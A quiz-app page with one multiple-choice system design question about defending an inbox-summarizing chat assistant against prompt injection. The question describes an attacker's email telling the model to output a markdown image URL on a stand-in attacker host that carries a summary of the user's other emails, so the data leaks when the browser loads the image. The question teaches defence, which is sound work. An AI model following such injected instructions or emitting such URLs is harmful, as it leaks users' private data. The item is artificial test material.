All Questions
Guardrails And Safety hard

A chat UI renders markdown from the assistant. The assistant can read a user's inbox and summarize it, and it makes no outbound tool calls. An attacker's email instructs the model to output ![x](https://attacker.example/p?d=<summary of other emails>). The user's browser loads the image and leaks the data. What is the right fix?

  1. A Render images and links only from allow-listed domains, enforced in the client and by a CSP img-src policy.
  2. B Log every outbound request the agent's tools make and alert when a tool call targets a domain the team has never seen.
  3. C Harden the system prompt to forbid embedding user data in URLs, then rerun the jailbreak suite to confirm resistance.
  4. D Redact PII from the emails before summarization so that any URL the model emits contains only non-sensitive text.

One system design question a day, with spaced repetition so the ones you miss come back.

Get the app

Related questions